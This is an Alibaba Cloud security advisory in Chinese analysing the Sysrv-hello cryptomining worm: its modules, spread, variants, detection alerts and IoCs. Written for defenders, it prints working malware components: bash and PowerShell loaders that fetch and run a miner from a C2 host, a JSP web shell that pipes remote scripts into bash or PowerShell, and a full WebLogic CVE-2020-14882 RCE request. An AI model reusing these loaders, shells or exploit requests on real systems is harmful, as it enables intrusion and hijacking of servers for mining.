2020年12月初,阿里云云安全中心首次发现新型挖矿病毒Sysrv-hello并提供了防御和处理该病毒的解决方案。本文介绍Sysrv-hello病毒的相关信息、演变迭代过程,以及云安全中心针对该病毒提供的检测和防御能力。

背景信息

阿里云云安全中心,针对云上海量样本进行持续监控,对奇异样本进行自动捕获标定和分析。2020年12月初,发现一例具有持久化功能的样本,该样本与此前已知程序文件的特性存在较大差异,经过云安全中心专家团队分析,该样本为一款新型挖矿支持组件,且处在爆发初期。鉴于该样本的特征路径以及特征代码,暂时将其命名为Sysrv-hello。

该病毒样本具有以下特征:

  • 多特性并存:该样本用于挖矿行动,兼具蠕虫、爆破、木马、后门等多种特性,其漏洞利用与爆破方式、功能集成性与以往已知样本不同。
  • 非孤立样本:经过对该样本的特征分析与关联样本检索,发现该样本非孤立样本,而是一个在2020年12月初新投放,并在早期积极迭代变换进行挖矿活动的病毒样本。
  • 跨平台传播性强:借助Golang语言,该家族跨越Linux与Windows平台,不断集成多种最新漏洞与应用的攻击方式,具备很强的传播性。

Sysrv-hello发展时间线

时间 事件
2020年12月03日(13时15分) 最早发现的Sysrv-hello病毒的0号Linux样本(MD5=ead2cf8ab7aef63706b40eb57d668d0a)在云上首次出现,影响大量用服务器。
2020年12月06日 捕获到该病毒家族1号变种族于2020年12月06日9时30分开始投放,面向Linux免杀(反杀毒技术),且投放量非常克制,当日共捕获到4例病毒样本,每个样本仅传播1~2台服务器。
2020年12月07日 该病毒样本首次由外部上传至VirusTotal。
2020年12月15日 发现该病毒样本2号Linux变种族的第一个样本在当日16时15分尝试投递至少量服务器,之后第二个样本在18时进行较大范围传播。
2020年12月16日(23时) 首次发现该病毒样本的3号变种族,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面。3号变种族是该类型病毒到目前为止最活跃的族系。
2020年12月23日(20时) VirusTotal所有商业杀毒引擎(共62款)均未上报该病毒。

Sysrv-hello病毒0号样本分析

  • 静态逆向

    最初捕获的0号样本(MD5=ead2cf8ab7aef63706b40eb57d668d0a)为Linux 64位程序,使用Golang语言开发并用UPX 3.94加壳,未做额外混淆,脱壳前后大小为4,634,788 Byte、8,687,768 Byte。

    该病毒样本并未完全去除文件路径等元信息,该样本本地编译路径为/media/psf/AllFiles/Users/mac/go/src/hello/src,根据子目录,样本主要有如下五部分功能组件:
    • Scan模块scan模块

      扫描器组件是该样本从main.main入口执行的最外层功能,由此再进行下一步调用其它功能。

      scan模块代码
    • Gateway模块Gateway模块

      Gateway模块由SYN扫描器调用,提供Linux网关探测能力。

    • Nu模块

      Nu模块为其它功能模块提供基础功能实现(network utility),包括最基础的字符串操作、端口探测、日志等。同时封装了Shell命令执行功能。

    • Exp模块Exp模块

      Exp模块包含多个漏洞利用做横向移动的能力,在端口扫描之后执行。在该样本中,会尝试对MySQL、Tomcat、Weblogic的应用服务器进行探测,并触发RCE漏洞。

    • Work模块

      Work为直接控制挖矿的代码模块,持久化判断挖矿任务是否存活,释放并解压缩程序中内嵌的xmrig挖矿程序本体.gzip包。

      work模块代码
  • 行为分析

    该病毒样本主要按照以下步骤入侵服务器:

    1. 初始化和准备阶段。
      1. 样本运行时首先监听本地的52013端口,此端口作为互斥量,防止样本自身重复启动。
      2. 初始化端口扫描模块,包括逆向可见的SYN、TCP两种扫描方式。初始化端口扫描模块
      3. 将当前的扫描方式写入文件./flag.txt中。
    2. 释放xmrig挖矿模块,并启动该模块。释放该模块的完整路径是 /tmp/network01
      • 启动参数
        ./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.
      • 矿池地址
        49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux
    3. 随机生成IP地址,进行端口扫描。随机生成IP地址

      会扫描MySQL、Tomcat、WebLogic服务,并自动进行漏洞利用和爆破。具体漏洞利用和爆破细节见下文。

    4. 如果获取到目标系统的Shell,会首先从http://185.239.XX.XX/下载脚本和xmr挖矿程序。下载脚本和cmr挖矿程序
      • 脚本http://185.239.XX.XX/ldr.ps1
        $cc = "http://185.239.XX.XX"
        $is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64)
        $xmr = "$cc/xmr32.exe"
        
        if ($is64) {
          $xmr = "$cc/xmr64.exe"
        }
        
        (New-Object Net.WebClient).DownloadFile($xmr, "$env:TMP\network01.exe")
        if (!(Get-Process network01 -ErrorAction SilentlyContinue)) {
            Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden
        }
        
        (New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMP\sysrv.exe")
        Start-Process "$env:TMP\sysrv.exe"  -windowstyle hidden
      • 脚本http://185.239.XX.XX/ldr.sh。
        #!/bin/bash
        
        cc='http://185.239.XX.XX'
        
        get() {
          curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));"
          chmod +x "$2"
        }
        
        cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
        
        # kill hich cpu usage proc
        ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do
            cat /proc/$pid/cmdline | grep -a -E "sysrv|network01"
            if [ $? -ne 0 ]; then
                kill -9 $pid
            fi
        done
        
        
        ps -fe | grep network01 | grep -v grep
        if [ $? -ne 0 ]; then
            echo "no miner runing"
            if [ $(getconf LONG_BIT) = '64' ]; then
                echo "downloading xmr64..."
                get "$cc/xmr64" network01
            else
                echo "downloading xmr32..."
                get "$cc/xmr32" network01
            fi
            nohup ./network01 1>/dev/null 2>&1 &
        fi
        
        
        ps -fe | grep sysrv | grep -v grep
        if [ $? -ne 0 ]; then
            echo "no sysrv runing"
            get "$cc/sysrv" sysrv
            nohup ./sysrv 1>/dev/null 2>&1 &
        fi
        同时,会使用自带的弱口令字典,进行爆破密码操作。爆破密码
  • 目标服务器漏洞利用与爆破方式

    通过弱口令登录成功后,首先判断操作系统版本以及平台,最后尝试写入32位或者64位的udf来执行任意命令。以下内容介绍不同平台的爆破方式:

    • MySQL
      尝试爆破MySQL数据库的用户名和密码。MySQL爆破
    • Tomcat
      尝试爆破Tomcat的管理页面的用户名和密码。Tomcat爆破1
      如果爆破成功,就尝试向服务器上传War包进行项目部署来GetShell。Tomcat爆破后上传war包
      War包本质上是一个压缩包,压缩包的内容如下图所示。war压缩包内容
      解压出来存在一个1.jsp文件,内容如下:
      <%@ page import="java.io.*" %>
      <%
      try {
        String w = request.getParameter("win");
        String l = request.getParameter("linux");
      
        String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"};
        String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"};
      
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            Runtime.getRuntime().exec(cw);
        } else {
            Runtime.getRuntime().exec(cl);
        }
      } catch (IOException e) {}
      
      // remove self
      File f = new File(request.getSession().getServletContext().getRealPath("/"));
      new File(f.getParent() + File.separator + f.getName() + ".war").delete();
      
      out.print("1");
      %>
    • Weblogic
      利用cve-2020-14882漏洞进行getshell,发送的Payload如下图所示。Weblogic爆破
      GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0
      Host: %s:%d
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
      Connection: close
      cmd: ls
      linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& )
      win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')
      说明 Payload兼容Linux和Windows操作系统。

家族演进跟踪

在发现该家族之后,云安全中心基于云上全量样本的相似度检索,发现了前述0号样本的关联相似样本,证明此次并非一个试水的投放或已知样本的技术演进。根据样本技术特性,可以将该样本的发展标注到4个主要节点,证明该挖矿家族的发展正处于其初期快速扩张和迭代的阶段。

  • 0号样本

    即上文分析的病毒样本。该样本最早在2020年12月03日在云上被发现。

    几乎同时,云安全中心在云上捕获了该样本的Windows版本(MD5=030231d96234f06ae09ca18d621241e5)。该样本与Linux样本基本同源,仅适配Windows做了若干必要的调整,包括:去除挖矿程序的释放控制功能(仅限Linux版本)、扫描器与Payload的载入方式等。

  • 1号变种族

    此类样本最初于2020年12月06日9时30分开始投放,仅在2020年12月06日~2020年12月07日间进行投放,且投放量非常克制,当前共捕获到4例样本,每个样本仅传播到1~2台服务器上。

    该变种族的免杀方式为,将原始Sysrv样本加壳后,作为数据嵌入在另外的loader程序中,释放后载入生效。嵌入的样本脱壳后,MD5为750644690e51db9f695b542b463164b9。除此以外,样本本体并未发现明显差异。

    此家族仅为0号样本在Linux平台的特殊免杀变种,在Windows平台的同源更新版本样本,与0号Windows样本没有显著差异。

  • 2号变种族

    此类样本在2020年12月15日发现存在投递行为,其中Linux家族第一个样本在该日16时15分投递到少量服务器试水,之后第二个样本在18时较大范围传播。此类Linux样本相比0号样本,去掉了内嵌压缩挖矿程序释放执行的逻辑,从而显著减小样本体积到2 MB以内;同时对功能实现代码做了少量改写,包括Tomcat的爆破方式等。

    该变种族的Windows版本变更与Linux一致。因为Linux版本完全去除了自带嵌入的挖矿程序逻辑,Windows版本也同步去除了.gzip解压缩包的引入(此前实际无作用,仅为同一套代码的引入),文件体积有所缩小。

  • 3号变种族

    该变种族最早在2020年12月16日23点首次发现,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系。

    在蠕虫功能方面,从此类变种开始新增了对Jenkins的探测与定向爆破功能。除此以外,该类家族基本保持与2号的继承性,但每个样本均在功能实现的主要代码中,引入了少量局部的代码重构,从而降低关键代码的整体相似度,疑似用于规避样本模糊匹配的分析方法。

防御与处理

Sysrv-hello目前还处在扩散初期,尽管迭代速度较快、不断集成最新的攻击方式,但传播面有限,初期的检测防御对于此类恶意行为防御效果更加显著。

对于该家族的核心样本Sysrv主程序,以及投递的挖矿程序,阿里云云安全中心安全告警威胁检测模型可多维度检测并关联其入侵行为。如果检测到此类病毒,云安全中心会实时向您发送告警通知。对全部病毒样本以及后续变种均已支持文件精准防御以及行为防御。您可在云安全中心控制台安全告警处理页面查看是否存在病毒检测告警,并及时关注资产中是否存在未修复漏洞、弱密码等问题。以下是处理安全告警、漏洞和弱密码问题的操作方法:

对于检测到的部分告警类型,云安全中心精准防御功能会自动拦截并处理相应告警。有部分告警仍需要您自行手动处理。以下是云安全中心检测出的和此类病毒相关的告警信息:

  • 对经由MySQL投递Ldr脚本,云安全中心可检测到进程的异常操作指令,精准防御功能可拦截异常进程行为。

    (检测后需您手动处理)云安全中心检测到的和Sysrvhello病毒相关的异常操作指令。

    mysql投递ldr脚本

    (检测后已由云安全中心自动为您拦截)云安全中心检测到的数据库服务异常命令执行。

    MySQL进程行为拦截
  • (检测后需您手动处理)对Tomcat进入的方式,云安全中心可检测到Java执行的异常指令。Tocat Java执行异常指令
  • (检测后需您手动处理)对于Sysrv程序的访问中控IP的行为,云安全中心支持进行实时检测。sysrv程序的访问中控IP
  • (检测后需您手动处理)对于Ldr恶意脚本,云安全中心支持进行实时检测和告警。Ldr恶意脚本检测
  • (检测后已由云安全中心自动为您拦截)对于Sysrv横向移动的动作,检测到对外发起登录扫描。sysrv横向移动登录扫描
  • (检测后需您手动处理)对Sysrv程序本体,按照后门程序、蠕虫病毒类别识别告警,对已开启防御的服务器可实现精准防御。sysrv程序本体按照后门程序蠕虫病毒检测.png
  • (检测后已由云安全中心自动为您拦截)对挖矿程序本体,始终具有检测能力,对已开启防御的服务器,可直接进行精准防御。检测挖矿程序本体
  • (检测后需您手动处理)对挖矿程序的矿池通信网络行为,支持展示对应的告警和关联信息。检测挖矿程序的矿池通信网络行为
  • (检测后需您手动处理)对Sysrv进程残留的持久化方式,进行定时扫描检测。

IoC

以下是Sysrv-hello病毒的威胁情报信息。

ead2cf8ab7aef63706b40eb57d668d0a
a45c5b97068a709c92aa2fb73cc39d29
bb15e4c273044a5e714acec991dde4b4
4736f80b88c60d2b650dd7273b437d0f
e7b1ee6578b88e1c2650982d35a0bbfc
e9317adace503cefa02007579eb1c621
ec773867cf1cc0479e57eae020f6f399
f4c90b41126fc17848bd0d131288bd36
58a05154e0a702843b8304ccfd79ba2f
7f9abe219ae8dd4e338bd2a9fcaf2e05
301a0a58dd98ecbbe12c6acbd0c7bbdc
030231d96234f06ae09ca18d621241e
4b22a05d547d0345f91ba9f5fb1f012c
0af416fb7a7e164ddd90da14d116c07e
bbe3e53b19548d093c8405847828a64d
cae2b58fc73551901a70465fa46ea23c
d8816891b21d83c318818ebc32e9609d
642d73c85e6e79720a5ae7b82fc427c5
 
http://185[.]239[.]242[.]71/ldr.sh
http://185[.]239[.]242[.]71/ldr.ps1
http://185[.]239[.]242[.]71/sysrv.exe
http://185[.]239[.]242[.]71/sysrv